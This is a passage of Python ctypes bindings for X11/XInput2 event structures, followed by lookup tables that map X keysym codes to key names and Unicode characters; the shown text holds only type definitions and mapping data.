( "send_event", ct.c_int ),
( "display", ct.c_void_p ),
( "extension", ct.c_int ),
( "evtype", ct.c_int ),
( "cookie", ct.c_uint ),
( "data", ct.c_void_p )
]
class XEventType(ct.Structure):
_fields_ = [
( "type", ct.c_int ),
( "pad", ct.c_long * 24 )
]
class XEvent(ct.Union):
_fields_ = [
( "type", XEventType ),
( "cookie", XGenericEventCookie ),
]
class XIValuatorState(ct.Structure):
_fields_ = [
( "mask_len", ct.c_int ),
( "mask", ct.c_void_p ),
( "values", ct.c_void_p ),
]
class XIButtonState(ct.Structure):
_fields_ = [
( "mask_len", ct.c_int ),
( "mask", ct.c_void_p )
]
class XIModifierState(ct.Structure):
_fields_ = [
( "base", ct.c_int ),
( "latched", ct.c_int ),
( "locked", ct.c_int ),
( "effective", ct.c_int ),
]
class XIDeviceEvent(ct.Structure):
_fields_ = [
( "type", ct.c_int ),
( "serial", ct.c_ulong ),
( "send_event", ct.c_int ),
( "display", ct.c_void_p ),
( "extension", ct.c_int ),
( "evtype", ct.c_int ),
( "time", ct.c_ulong ),
( "deviceid", ct.c_int ),
( "sourceid", ct.c_int ),
( "detail", ct.c_int ),
( "root", ct.c_ulong),
( "event", ct.c_ulong ),
( "child", ct.c_ulong ),
( "root_x", ct.c_double ),
( "root_y", ct.c_double ),
( "event_x", ct.c_double ),
( "event_y", ct.c_double ),
( "flags", ct.c_int ),
( "buttons" , XIButtonState ),
( "valuators", XIValuatorState ),
( "mods", XIModifierState ),
( "group", XIModifierState ),
]
class XTextProperty(ct.Structure):
_fields_ = [("value" , ct.c_char_p),
("encoding" , ct.c_ulong),
("format" , ct.c_int),
("nitems" , ct.c_ulong)]
def XiMaxLen():
return (((27) >> 3) + 1)
def XiSetMask(mask, event):
mask[(event)>>3] |= (1 << ((event) & 7))
def keysym_to_XK(ks):
return {
0xff08: "BackSpace", 0xff09: "Tab", 0xff0a: "Linefeed", 0xff0b: "Clear",
0xff0d: "Return", 0xff13: "Pause", 0xff14: "Scroll_Lock", 0xff15: "Sys_Req",
0xff1b: "Escape", 0xffff: "Delete", 0xff20: "Multi_key", 0xff37: "Codeinput",
0xff3c: "SingleCandidate", 0xff3d: "MultipleCandidate", 0xff3e: "PreviousCandidate", 0xff21: "Kanji",
0xff22: "Muhenkan", 0xff23: "Henkan_Mode", 0xff23: "Henkan", 0xff24: "Romaji",
0xff25: "Hiragana", 0xff26: "Katakana", 0xff27: "Hiragana_Katakana", 0xff28: "Zenkaku",
0xff29: "Hankaku", 0xff2a: "Zenkaku_Hankaku", 0xff2b: "Touroku", 0xff2c: "Massyo",
0xff2d: "Kana_Lock", 0xff2e: "Kana_Shift", 0xff2f: "Eisu_Shift", 0xff30: "Eisu_toggle",
0xff37: "Kanji_Bangou", 0xff3d: "Zen_Koho", 0xff3e: "Mae_Koho", 0xff50: "Home",
0xff51: "Left", 0xff52: "Up", 0xff53: "Right", 0xff54: "Down",
0xff55: "Prior", 0xff55: "Page_Up", 0xff56: "Next", 0xff56: "Page_Down",
0xff57: "End", 0xff58: "Begin", 0xff60: "Select", 0xff61: "Print",
0xff62: "Execute", 0xff63: "Insert", 0xff65: "Undo", 0xff66: "Redo",
0xff67: "Menu", 0xff68: "Find", 0xff69: "Cancel", 0xff6a: "Help",
0xff6b: "Break", 0xff7e: "Mode_switch", 0xff7e: "script_switch", 0xff7f: "Num_Lock",
0xff80: "KP_Space", 0xff89: "KP_Tab", 0xff8d: "KP_Enter", 0xff91: "KP_F1",
0xff92: "KP_F2", 0xff93: "KP_F3", 0xff94: "KP_F4", 0xff95: "KP_Home",
0xff96: "KP_Left", 0xff97: "KP_Up", 0xff98: "KP_Right", 0xff99: "KP_Down",
0xff9a: "KP_Prior", 0xff9a: "KP_Page_Up", 0xff9b: "KP_Next", 0xff9b: "KP_Page_Down",
0xff9c: "KP_End", 0xff9d: "KP_Begin", 0xff9e: "KP_Insert", 0xff9f: "KP_Delete",
0xffbd: "KP_Equal", 0xffaa: "KP_Multiply", 0xffab: "KP_Add", 0xffac: "KP_Separator",
0xffad: "KP_Subtract", 0xffae: "KP_Decimal", 0xffaf: "KP_Divide", 0xffb0: "KP_0",
0xffb1: "KP_1", 0xffb2: "KP_2", 0xffb3: "KP_3", 0xffb4: "KP_4",
0xffb5: "KP_5", 0xffb6: "KP_6", 0xffb7: "KP_7", 0xffb8: "KP_8",
0xffb9: "KP_9", 0xffbe: "F1", 0xffbf: "F2", 0xffc0: "F3",
0xffc1: "F4", 0xffc2: "F5", 0xffc3: "F6", 0xffc4: "F7",
0xffc5: "F8", 0xffc6: "F9", 0xffc7: "F10", 0xffc8: "F11",
0xffc8: "L1", 0xffc9: "F12", 0xffc9: "L2", 0xffca: "F13",
0xffca: "L3", 0xffcb: "F14", 0xffcb: "L4", 0xffcc: "F15",
0xffcc: "L5", 0xffcd: "F16", 0xffcd: "L6", 0xffce: "F17",
0xffce: "L7", 0xffcf: "F18", 0xffcf: "L8", 0xffd0: "F19",
0xffd0: "L9", 0xffd1: "F20", 0xffd1: "L10", 0xffd2: "F21",
0xffd2: "R1", 0xffd3: "F22", 0xffd3: "R2", 0xffd4: "F23",
0xffd4: "R3", 0xffd5: "F24", 0xffd5: "R4", 0xffd6: "F25",
0xffd6: "R5", 0xffd7: "F26", 0xffd7: "R6", 0xffd8: "F27",
0xffd8: "R7", 0xffd9: "F28", 0xffd9: "R8", 0xffda: "F29",
0xffda: "R9", 0xffdb: "F30", 0xffdb: "R10", 0xffdc: "F31",
0xffdc: "R11", 0xffdd: "F32", 0xffdd: "R12", 0xffde: "F33",
0xffde: "R13", 0xffdf: "F34", 0xffdf: "R14", 0xffe0: "F35",
0xffe0: "R15", 0xffe1: "Shift_L", 0xffe2: "Shift_R", 0xffe3: "Control_L",
0xffe4: "Control_R", 0xffe5: "Caps_Lock", 0xffe6: "Shift_Lock", 0xffe7: "Meta_L",
0xffe8: "Meta_R", 0xffe9: "Alt_L", 0xffea: "Alt_R", 0xffeb: "Super_L",
0xffec: "Super_R", 0xffed: "Hyper_L", 0xffee: "Hyper_R", 0xff7e: "ISO_Group_Shift",
0xff7e: "kana_switch", 0xff7e: "Arabic_switch", 0xff7e: "Greek_switch", 0xff7e: "Hebrew_switch",
0xff31: "Hangul", 0xff32: "Hangul_Start", 0xff33: "Hangul_End", 0xff34: "Hangul_Hanja",
0xff35: "Hangul_Jamo", 0xff36: "Hangul_Romaja", 0xff37: "Hangul_Codeinput", 0xff38: "Hangul_Jeonja",
0xff39: "Hangul_Banja", 0xff3a: "Hangul_PreHanja", 0xff3b: "Hangul_PostHanja",
0xff3c: "Hangul_SingleCandidate", 0xff3d: "Hangul_MultipleCandidate",
0xff3e: "Hangul_PreviousCandidate", 0xff3f: "Hangul_Special",
0xff7e: "Hangul_switch", 0xfff1: "braille_dot_1", 0xfff2: "braille_dot_2", 0xfff3: "braille_dot_3",
0xfff4: "braille_dot_4", 0xfff5: "braille_dot_5", 0xfff6: "braille_dot_6", 0xfff7: "braille_dot_7",
0xfff8: "braille_dot_8", 0xfff9: "braille_dot_9", 0xfffa: "braille_dot_10"
}.get(ks)
def keysym_to_unicode(ks):
# https://raw.githubusercontent.com/substack/node-keysym/master/data/keysyms.txt
return {
0x0020: u'\\u0020', 0x0021: u'\\u0021', 0x0022: u'\\u0022', 0x0023: u'\\u0023', 0x0024: u'\\u0024',
0x0025: u'\\u0025', 0x0026: u'\\u0026', 0x0027: u'\\u0027', 0x0027: u'\\u0027', 0x0028: u'\\u0028',
0x0029: u'\\u0029', 0x002a: u'\\u002a', 0x002b: u'\\u002b', 0x002c: u'\\u002c', 0x002d: u'\\u002d',
0x002e: u'\\u002e', 0x002f: u'\\u002f', 0x0030: u'\\u0030', 0x0031: u'\\u0031', 0x0032: u'\\u0032',
0x0033: u'\\u0033', 0x0034: u'\\u0034', 0x0035: u'\\u0035', 0x0036: u'\\u0036', 0x0037: u'\\u0037',
0x0038: u'\\u0038', 0x0039: u'\\u0039', 0x003a: u'\\u003a', 0x003b: u'\\u003b', 0x003c: u'\\u003c',
0x003d: u'\\u003d', 0x003e: u'\\u003e', 0x003f: u'\\u003f', 0x0040: u'\\u0040', 0x0041: u'\\u0041',
0x0042: u'\\u0042', 0x0043: u'\\u0043', 0x0044: u'\\u0044', 0x0045: u'\\u0045', 0x0046: u'\\u0046',
0x0047: u'\\u0047', 0x0048: u'\\u0048', 0x0049: u'\\u0049', 0x004a: u'\\u004a', 0x004b: u'\\u004b',
0x004c: u'\\u004c', 0x004d: u'\\u004d', 0x004e: u'\\u004e', 0x004f: u'\\u004f', 0x0050: u'\\u0050',
0x0051: u'\\u0051', 0x0052: u'\\u0052', 0x0053: u'\\u0053', 0x0054: u'\\u0054', 0x0055: u'\\u0055',
0x0056: u'\\u0056', 0x0057: u'\\u0057', 0x0058: u'\\u0058', 0x0059: u'\\u0059', 0x005a: u'\\u005a',
0x005b: u'\\u005b', 0x005c: u'\\u005c', 0x005d: u'\\u005d', 0x005e: u'\\u005e', 0x005f: u'\\u005f',
0x0060: u'\\u0060', 0x0060: u'\\u0060', 0x0061: u'\\u0061', 0x0062: u'\\u0062', 0x0063: u'\\u0063',
0x0064: u'\\u0064', 0x0065: u'\\u0065', 0x0066: u'\\u0066', 0x0067: u'\\u0067', 0x0068: u'\\u0068',
0x0069: u'\\u0069', 0x006a: u'\\u006a', 0x006b: u'\\u006b', 0x006c: u'\\u006c', 0x006d: u'\\u006d',
0x006e: u'\\u006e', 0x006f: u'\\u006f', 0x0070: u'\\u0070', 0x0071: u'\\u0071', 0x0072: u'\\u0072',
0x0073: u'\\u0073', 0x0074: u'\\u0074', 0x0075: u'\\u0075', 0x0076: u'\\u0076', 0x0077: u'\\u0077',
0x0078: u'\\u0078', 0x0079: u'\\u0079', 0x007a: u'\\u007a', 0x007b: u'\\u007b', 0x007c: u'\\u007c',
0x007d: u'\\u007d', 0x007e: u'\\u007e', 0x00a0: u'\\u00a0', 0x00a1: u'\\u00a1', 0x00a2: u'\\u00a2',
0x00a3: u'\\u00a3', 0x00a4: u'\\u00a4', 0x00a5: u'\\u00a5', 0x00a6: u'\\u00a6', 0x00a7: u'\\u00a7',
0x00a8: u'\\u00a8', 0x00a9: u'\\u00a9', 0x00aa: u'\\u00aa', 0x00ab: u'\\u00ab', 0x00ac: u'\\u00ac',
0x00ad: u'\\u00ad', 0x00ae: u'\\u00ae', 0x00af: u'\\u00af', 0x00b0: u'\\u00b0', 0x00b1: u'\\u00b1',
0x00b2: u'\\u00b2', 0x00b3: u'\\u00b3', 0x00b4: u'\\u00b4', 0x00b5: u'\\u00b5', 0x00b6: u'\\u00b6',
0x00b7: u'\\u00b7', 0x00b8: u'\\u00b8', 0x00b9: u'\\u00b9', 0x00ba: u'\\u00ba', 0x00bb: u'\\u00bb',
0x00bc: u'\\u00bc', 0x00bd: u'\\u00bd', 0x00be: u'\\u00be', 0x00bf: u'\\u00bf', 0x00c0: u'\\u00c0',
0x00c1: u'\\u00c1', 0x00c2: u'\\u00c2', 0x00c3: u'\\u00c3', 0x00c4: u'\\u00c4', 0x00c5: u'\\u00c5',
0x00c6: u'\\u00c6', 0x00c7: u'\\u00c7', 0x00c8: u'\\u00c8', 0x00c9: u'\\u00c9', 0x00ca: u'\\u00ca',
0x00cb: u'\\u00cb', 0x00cc: u'\\u00cc', 0x00cd: u'\\u00cd', 0x00ce: u'\\u00ce', 0x00cf: u'\\u00cf',
0x00d0: u'\\u00d0', 0x00d0: u'\\u00d0', 0x00d1: u'\\u00d1', 0x00d2: u'\\u00d2', 0x00d3: u'\\u00d3',
0x00d4: u'\\u00d4', 0x00d5: u'\\u00d5', 0x00d6: u'\\u00d6', 0x00d7: u'\\u00d7', 0x00d8: u'\\u00d8',
0x00d9: u'\\u00d9', 0x00da: u'\\u00da', 0x00db: u'\\u00db', 0x00dc: u'\\u00dc', 0x00dd: u'\\u00dd',
0x00de: u'\\u00de', 0x00de: u'\\u00de', 0x00df: u'\\u00df', 0x00e0: u'\\u00e0', 0x00e1: u'\\u00e1',
0x00e2: u'\\u00e2', 0x00e3: u'\\u00e3', 0x00e4: u'\\u00e4', 0x00e5: u'\\u00e5', 0x00e6: u'\\u00e6',
0x00e7: u'\\u00e7', 0x00e8: u'\\u00e8', 0x00e9: u'\\u00e9', 0x00ea: u'\\u00ea', 0x00eb: u'\\u00eb',
0x00ec: u'\\u00ec', 0x00ed: u'\\u00ed', 0x00ee: u'\\u00ee', 0x00ef: u'\\u00ef', 0x00f0: u'\\u00f0',
0x00f1: u'\\u00f1', 0x00f2: u'\\u00f2', 0x00f3: u'\\u00f3', 0x00f4: u'\\u00f4', 0x00f5: u'\\u00f5',
0x00f6: u'\\u00f6', 0x00f7: u'\\u00f7', 0x00f8: u'\\u00f8', 0x00f9: u'\\u00f9', 0x00fa: u'\\u00fa',
0x00fb: u'\\u00fb', 0x00fc: u'\\u00fc', 0x00fd: u'\\u00fd', 0x00fe: u'\\u00fe', 0x00ff: u'\\u00ff',
0x01a1: u'\\u0104', 0x01a2: u'\\u02d8', 0x01a3: u'\\u0141', 0x01a5: u'\\u013d', 0x01a6: u'\\u015a',
0x01a9: u'\\u0160', 0x01aa: u'\\u015e', 0x01ab: u'\\u0164', 0x01ac: u'\\u0179', 0x01ae: u'\\u017d',
0x01af: u'\\u017b', 0x01b1: u'\\u0105', 0x01b2: u'\\u02db', 0x01b3: u'\\u0142', 0x01b5: u'\\u013e',
0x01b6: u'\\u015b', 0x01b7: u'\\u02c7', 0x01b9: u'\\u0161', 0x01ba: u'\\u015f', 0x01bb: u'\\u0165',
0x01bc: u'\\u017a', 0x01bd: u'\\u02dd', 0x01be: u'\\u017e', 0x01bf: u'\\u017c', 0x01c0: u'\\u0154',
0x01c3: u'\\u0102', 0x01c5: u'\\u0139', 0x01c6: u'\\u0106', 0x01c8: u'\\u010c', 0x01ca: u'\\u0118',
0x01cc: u'\\u011a', 0x01cf: u'\\u010e', 0x01d0: u'\\u0110', 0x01d1: u'\\u0143', 0x01d2: u'\\u0147',
0x01d5: u'\\u0150', 0x01d8: u'\\u0158', 0x01d9: u'\\u016e', 0x01db: u'\\u0170', 0x01de: u'\\u0162',
0x01e0: u'\\u0155', 0x01e3: u'\\u0103', 0x01e5: u'\\u013a', 0x01e6: u'\\u0107', 0x01e8: u'\\u010d',
0x01ea: u'\\u0119', 0x01ec: u'\\u011b', 0x01ef: u'\\u010f', 0x01f0: u'\\u0111', 0x01f1: u'\\u0144',
0x01f2: u'\\u0148', 0x01f5: u'\\u0151', 0x01f8: u'\\u0159', 0x01f9: u'\\u016f', 0x01fb: u'\\u0171',
0x01fe: u'\\u0163', 0x01ff: u'\\u02d9', 0x02a1: u'\\u0126', 0x02a6: u'\\u0124', 0x02a9: u'\\u0130',
0x02ab: u'\\u011e', 0x02ac: u'\\u0134', 0x02b1: u'\\u0127', 0x02b6: u'\\u0125', 0x02b9: u'\\u0131',
0x02bb: u'\\u011f', 0x02bc: u'\\u0135', 0x02c5: u'\\u010a', 0x02c6: u'\\u0108', 0x02d5: u'\\u0120',
0x02d8: u'\\u011c', 0x02dd: u'\\u016c', 0x02de: u'\\u015c', 0x02e5: u'\\u010b', 0x02e6: u'\\u0109',
0x02f5: u'\\u0121', 0x02f8: u'\\u011d', 0x02fd: u'\\u016d', 0x02fe: u'\\u015d', 0x03a2: u'\\u0138',
0x03a3: u'\\u0156', 0x03a5: u'\\u0128', 0x03a6: u'\\u013b', 0x03aa: u'\\u0112', 0x03ab: u'\\u0122',
0x03ac: u'\\u0166', 0x03b3: u'\\u0157', 0x03b5: u'\\u0129', 0x03b6: u'\\u013c', 0x03ba: u'\\u0113',
0x03bb: u'\\u0123', 0x03bc: u'\\u0167', 0x03bd: u'\\u014a', 0x03bf: u'\\u014b', 0x03c0: u'\\u0100',
0x03c7: u'\\u012e', 0x03cc: u'\\u0116', 0x03cf: u'\\u012a', 0x03d1: u'\\u0145', 0x03d2: u'\\u014c',
0x03d3: u'\\u0136', 0x03d9: u'\\u0172', 0x03dd: u'\\u0168', 0x03de: u'\\u016a', 0x03e0: u'\\u0101',
0x03e7: u'\\u012f', 0x03ec: u'\\u0117', 0x03ef: u'\\u012b', 0x03f1: u'\\u0146', 0x03f2: u'\\u014d',
0x03f3: u'\\u0137', 0x03f9: u'\\u0173', 0x03fd: u'\\u0169', 0x03fe: u'\\u016b', 0x047e: u'\\u203e',
0x04a1: u'\\u3002', 0x04a2: u'\\u300c', 0x04a3: u'\\u300d', 0x04a4: u'\\u3001', 0x04a5: u'\\u30fb',
0x04a6: u'\\u30f2', 0x04a7: u'\\u30a1', 0x04a8: u'\\u30a3', 0x04a9: u'\\u30a5', 0x04aa: u'\\u30a7',
0x04ab: u'\\u30a9', 0x04ac: u'\\u30e3', 0x04ad: u'\\u30e5', 0x04ae: u'\\u30e7', 0x04af: u'\\u30c3',
0x04b0: u'\\u30fc', 0x04b1: u'\\u30a2', 0x04b2: u'\\u30a4', 0x04b3: u'\\u30a6', 0x04b4: u'\\u30a8',
0x04b5: u'\\u30aa', 0x04b6: u'\\u30ab', 0x04b7: u'\\u30ad', 0x04b8: u'\\u30af', 0x04b9: u'\\u30b1',
0x04ba: u'\\u30b3', 0x04bb: u'\\u30b5', 0x04bc: u'\\u30b7', 0x04bd: u'\\u30b9', 0x04be: u'\\u30bb',
0x04bf: u'\\u30bd', 0x04c0: u'\\u30bf', 0x04c1: u'\\u30c1', 0x04c2: u'\\u30c4', 0x04c3: u'\\u30c6',
0x04c4: u'\\u30c8', 0x04c5: u'\\u30ca', 0x04c6: u'\\u30cb', 0x04c7: u'\\u30cc', 0x04c8: u'\\u30cd',
0x04c9: u'\\u30ce', 0x04ca: u'\\u30cf', 0x04cb: u'\\u30d2', 0x04cc: u'\\u30d5', 0x04cd: u'\\u30d8',
0x04ce: u'\\u30db', 0x04cf: u'\\u30de', 0x04d0: u'\\u30df', 0x04d1: u'\\u30e0', 0x04d2: u'\\u30e1',
0x04d3: u'\\u30e2', 0x04d4: u'\\u30e4', 0x04d5: u'\\u30e6', 0x04d6: u'\\u30e8', 0x04d7: u'\\u30e9',
0x04d8: u'\\u30ea', 0x04d9: u'\\u30eb', 0x04da: u'\\u30ec', 0x04db: u'\\u30ed', 0x04dc: u'\\u30ef',
0x04dd: u'\\u30f3', 0x04de: u'\\u309b', 0x04df: u'\\u309c', 0x05ac: u'\\u060c', 0x05bb: u'\\u061b',
0x05bf: u'\\u061f', 0x05c1: u'\\u0621', 0x05c2: u'\\u0622', 0x05c3: u'\\u0623', 0x05c4: u'\\u0624',
0x05c5: u'\\u0625', 0x05c6: u'\\u0626', 0x05c7: u'\\u0627', 0x05c8: u'\\u0628', 0x05c9: u'\\u0629',
0x05ca: u'\\u062a', 0x05cb: u'\\u062b', 0x05cc: u'\\u062c', 0x05cd: u'\\u062d', 0x05ce: u'\\u062e',
0x05cf: u'\\u062f', 0x05d0: u'\\u0630', 0x05d1: u'\\u0631', 0x05d2: u'\\u0632', 0x05d3: u'\\u0633',
0x05d4: u'\\u0634', 0x05d5: u'\\u0635', 0x05d6: u'\\u0636', 0x05d7: u'\\u0637', 0x05d8: u'\\u0638',
0x05d9: u'\\u0639', 0x05da: u'\\u063a', 0x05e0: u'\\u0640', 0x05e1: u'\\u0641', 0x05e2: u'\\u0642',
0x05e3: u'\\u0643', 0x05e4: u'\\u0644', 0x05e5: u'\\u0645', 0x05e6: u'\\u0646', 0x05e7: u'\\u0647',
0x05e8: u'\\u0648', 0x05e9: u'\\u0649', 0x05ea: u'\\u064a', 0x05eb: u'\\u064b', 0x05ec: u'\\u064c',
0x05ed: u'\\u064d', 0x05ee: u'\\u064e', 0x05ef: u'\\u064f', 0x05f0: u'\\u0650', 0x05f1: u'\\u0651',
0x05f2: u'\\u0652', 0x06a1: u'\\u0452', 0x06a2: u'\\u0453', 0x06a3: u'\\u0451', 0x06a4: u'\\u0454',
0x06a5: u'\\u0455', 0x06a6: u'\\u0456', 0x06a7: u'\\u0457', 0x06a8: u'\\u0458', 0x06a9: u'\\u0459',
0x06aa: u'\\u045a', 0x06ab: u'\\u045b', 0x06ac: u'\\u045c', 0x06ae: u'\\u045e', 0x06af: u'\\u045f',
0x06b0: u'\\u2116', 0x06b1: u'\\u0402', 0x06b2: u'\\u0403', 0x06b3: u'\\u0401', 0x06b4: u'\\u0404',
0x06b5: u'\\u0405', 0x06b6: u'\\u0406', 0x06b7: u'\\u0407', 0x06b8: u'\\u0408', 0x06b9: u'\\u0409',
0x06ba: u'\\u040a', 0x06bb: u'\\u040b', 0x06bc: u'\\u040c', 0x06be: u'\\u040e', 0x06bf: u'\\u040f',
0x06c0: u'\\u044e', 0x06c1: u'\\u0430', 0x06c2: u'\\u0431', 0x06c3: u'\\u0446', 0x06c4: u'\\u0434',
0x06c5: u'\\u0435', 0x06c6: u'\\u0444', 0x06c7: u'\\u0433', 0x06c8: u'\\u0445', 0x06c9: u'\\u0438',
0x06ca: u'\\u0439', 0x06cb: u'\\u043a', 0x06cc: u'\\u043b', 0x06cd: u'\\u043c', 0x06ce: u'\\u043d',
0x06cf: u'\\u043e', 0x06d0: u'\\u043f', 0x06d1: u'\\u044f', 0x06d2: u'\\u0440', 0x06d3: u'\\u0441',
0x06d4: u'\\u0442', 0x06d5: u'\\u0443', 0x06d6: u'\\u0436', 0x06d7: u'\\u0432', 0x06d8: u'\\u044c',
0x06d9: u'\\u044b', 0x06da: u'\\u0437', 0x06db: u'\\u0448', 0x06dc: u'\\u044d', 0x06dd: u'\\u0449',
0x06de: u'\\u0447', 0x06df: u'\\u044a', 0x06e0: u'\\u042e', 0x06e1: u'\\u0410', 0x06e2: u'\\u0411',
0x06e3: u'\\u0426', 0x06e4: u'\\u0414', 0x06e5: u'\\u0415', 0x06e6: u'\\u0424', 0x06e7: u'\\u0413',
0x06e8: u'\\u0425', 0x06e9: u'\\u0418', 0x06ea: u'\\u0419', 0x06eb: u'\\u041a', 0x06ec: u'\\u041b',
0x06ed: u'\\u041c', 0x06ee: u'\\u041d', 0x06ef: u'\\u041e', 0x06f0: u'\\u041f', 0x06f1: u'\\u042f',
0x06f2: u'\\u0420', 0x06f3: u'\\u0421', 0x06f4: u'\\u0422', 0x06f5: u'\\u0423', 0x06f6: u'\\u0416',
0x06f7: u'\\u0412', 0x06f8: u'\\u042c', 0x06f9: u'\\u042b', 0x06fa: u'\\u0417', 0x06fb: u'\\u0428',
0x06fc: u'\\u042d', 0x06fd: u'\\u0429', 0x06fe: u'\\u0427', 0x06ff: u'\\u042a', 0x07a1: u'\\u0386',
0x07a2: u'\\u0388', 0x07a3: u'\\u0389', 0x07a4: u'\\u038a', 0x07a5: u'\\u03aa', 0x07a7: u'\\u038c',
0x07a8: u'\\u038e', 0x07a9: u'\\u03ab', 0x07ab: u'\\u038f', 0x07ae: u'\\u0385', 0x07af: u'\\u2015',
0x07b1: u'\\u03ac', 0x07b2: u'\\u03ad', 0x07b3: u'\\u03ae', 0x07b4: u'\\u03af', 0x07b5: u'\\u03ca',
0x07b6: u'\\u0390', 0x07b7: u'\\u03cc', 0x07b8: u'\\u03cd', 0x07b9: u'\\u03cb', 0x07ba: u'\\u03b0',
0x07bb: u'\\u03ce', 0x07c1: u'\\u0391', 0x07c2: u'\\u0392', 0x07c3: u'\\u0393', 0x07c4: u'\\u0394',
0x07c5: u'\\u0395', 0x07c6: u'\\u0396', 0x07c7: u'\\u0397', 0x07c8: u'\\u0398', 0x07c9: u'\\u0399',
0x07ca: u'\\u039a', 0x07cb: u'\\u039b', 0x07cb: u'\\u039b', 0x07cc: u'\\u039c', 0x07cd: u'\\u039d',
0x07ce: u'\\u039e', 0x07cf: u'\\u039f', 0x07d0: u'\\u03a0', 0x07d1: u'\\u03a1', 0x07d2: u'\\u03a3',
0x07d4: u'\\u03a4', 0x07d5: u'\\u03a5', 0x07d6: u'\\u03a6', 0x07d7: u'\\u03a7', 0x07d8: u'\\u03a8',
0x07d9: u'\\u03a9', 0x07e1: u'\\u03b1', 0x07e2: u'\\u03b2', 0x07e3: u'\\u03b3', 0x07e4: u'\\u03b4',
0x07e5: u'\\u03b5', 0x07e6: u'\\u03b6', 0x07e7: u'\\u03b7', 0x07e8: u'\\u03b8', 0x07e9: u'\\u03b9',
0x07ea: u'\\u03ba', 0x07eb: u'\\u03bb', 0x07ec: u'\\u03bc', 0x07ed: u'\\u03bd', 0x07ee: u'\\u03be',
0x07ef: u'\\u03bf', 0x07f0: u'\\u03c0', 0x07f1: u'\\u03c1', 0x07f2: u'\\u03c3', 0x07f3: u'\\u03c2',
0x07f4: u'\\u03c4', 0x07f5: u'\\u03c5', 0x07f6: u'\\u03c6', 0x07f7: u'\\u03c7', 0x07f8: u'\\u03c8',
0x07f9: u'\\u03c9', 0x08a1: u'\\u23b7', 0x08a2: u'\\u250c', 0x08a3: u'\\u2500', 0x08a4: u'\\u2320',
0x08a5: u'\\u2321', 0x08a6: u'\\u2502', 0x08a7: u'\\u23a1', 0x08a8: u'\\u23a3', 0x08a9: u'\\u23a4',
0x08aa: u'\\u23a6', 0x08ab: u'\\u239b', 0x08ac: u'\\u239d', 0x08ad: u'\\u239e', 0x08ae: u'\\u23a0',
0x08af: u'\\u23a8', 0x08b0: u'\\u23ac', 0x08bc: u'\\u2264', 0x08bd: u'\\u2260', 0x08be: u'\\u2265',
0x08bf: u'\\u222b', 0x08c0: u'\\u2234', 0x08c1: u'\\u221d', 0x08c2: u'\\u221e', 0x08c5: u'\\u2207',
0x08c8: u'\\u223c', 0x08c9: u'\\u2243', 0x08cd: u'\\u21d4', 0x08ce: u'\\u21d2', 0x08cf: u'\\u2261',
0x08d6: u'\\u221a', 0x08da: u'\\u2282', 0x08db: u'\\u2283', 0x08dc: u'\\u2229', 0x08dd: u'\\u222a',
0x08de: u'\\u2227', 0x08df: u'\\u2228', 0x08ef: u'\\u2202', 0x08f6: u'\\u0192', 0x08fb: u'\\u2190',
0x08fc: u'\\u2191', 0x08fd: u'\\u2192', 0x08fe: u'\\u2193', 0x09e0: u'\\u25c6', 0x09e1: u'\\u2592',
0x09e2: u'\\u2409', 0x09e3: u'\\u240c', 0x09e4: u'\\u240d', 0x09e5: u'\\u240a', 0x09e8: u'\\u2424',
0x09e9: u'\\u240b', 0x09ea: u'\\u2518', 0x09eb: u'\\u2510', 0x09ec: u'\\u250c', 0x09ed: u'\\u2514',
0x09ee: u'\\u253c', 0x09ef: u'\\u23ba', 0x09f0: u'\\u23bb', 0x09f1: u'\\u2500', 0x09f2: u'\\u23bc',
0x09f3: u'\\u23bd', 0x09f4: u'\\u251c', 0x09f5: u'\\u2524', 0x09f6: u'\\u2534', 0x09f7: u'\\u252c',
0x09f8: u'\\u2502', 0x0aa1: u'\\u2003', 0x0aa2: u'\\u2002', 0x0aa3: u'\\u2004', 0x0aa4: u'\\u2005',
0x0aa5: u'\\u2007', 0x0aa6: u'\\u2008', 0x0aa7: u'\\u2009', 0x0aa8: u'\\u200a', 0x0aa9: u'\\u2014',
0x0aaa: u'\\u2013', 0x0aac: u'\\u2423', 0x0aae: u'\\u2026', 0x0aaf: u'\\u2025', 0x0ab0: u'\\u2153',
0x0ab1: u'\\u2154', 0x0ab2: u'\\u2155', 0x0ab3: u'\\u2156', 0x0ab4: u'\\u2157', 0x0ab5: u'\\u2158',
0x0ab6: u'\\u2159', 0x0ab7: u'\\u215a', 0x0ab8: u'\\u2105', 0x0abb: u'\\u2012', 0x0abc: u'\\u27e8',
0x0abd: u'\\u002e', 0x0abe: u'\\u27e9', 0x0ac3: u'\\u215b', 0x0ac4: u'\\u215c', 0x0ac5: u'\\u215d',
0x0ac6: u'\\u215e', 0x0ac9: u'\\u2122', 0x0aca: u'\\u2613', 0x0acc: u'\\u25c1', 0x0acd: u'\\u25b7',
0x0ace: u'\\u25cb', 0x0acf: u'\\u25af', 0x0ad0: u'\\u2018', 0x0ad1: u'\\u2019', 0x0ad2: u'\\u201c',
0x0ad3: u'\\u201d', 0x0ad4: u'\\u211e', 0x0ad6: u'\\u2032', 0x0ad7: u'\\u2033', 0x0ad9: u'\\u271d',
0x0adb: u'\\u25ac', 0x0adc: u'\\u25c0', 0x0add: u'\\u25b6', 0x0ade: u'\\u25cf', 0x0adf: u'\\u25ae',
0x0ae0: u'\\u25e6', 0x0ae1: u'\\u25ab', 0x0ae2: u'\\u25ad', 0x0ae3: u'\\u25b3', 0x0ae4: u'\\u25bd',
0x0ae5: u'\\u2606', 0x0ae6: u'\\u2022', 0x0ae7: u'\\u25aa', 0x0ae8: u'\\u25b2', 0x0ae9: u'\\u25bc',
0x0aea: u'\\u261c', 0x0aeb: u'\\u261e', 0x0aec: u'\\u2663', 0x0aed: u'\\u2666', 0x0aee: u'\\u2665',
0x0af0: u'\\u2720', 0x0af1: u'\\u2020', 0x0af2: u'\\u2021', 0x0af3: u'\\u2713', 0x0af4: u'\\u2717',
0x0af5: u'\\u266f', 0x0af6: u'\\u266d', 0x0af7: u'\\u2642', 0x0af8: u'\\u2640', 0x0af9: u'\\u260e',
0x0afa: u'\\u2315', 0x0afb: u'\\u2117', 0x0afc: u'\\u2038', 0x0afd: u'\\u201a', 0x0afe: u'\\u201e',
0x0ba3: u'\\u003c', 0x0ba6: u'\\u003e', 0x0ba8: u'\\u2228', 0x0ba9: u'\\u2227', 0x0bc0: u'\\u00af',
0x0bc2: u'\\u22a5', 0x0bc3: u'\\u2229', 0x0bc4: u'\\u230a', 0x0bc6: u'\\u005f', 0x0bca: u'\\u2218',
0x0bcc: u'\\u2395', 0x0bce: u'\\u22a4', 0x0bcf: u'\\u25cb', 0x0bd3: u'\\u2308', 0x0bd6: u'\\u222a',
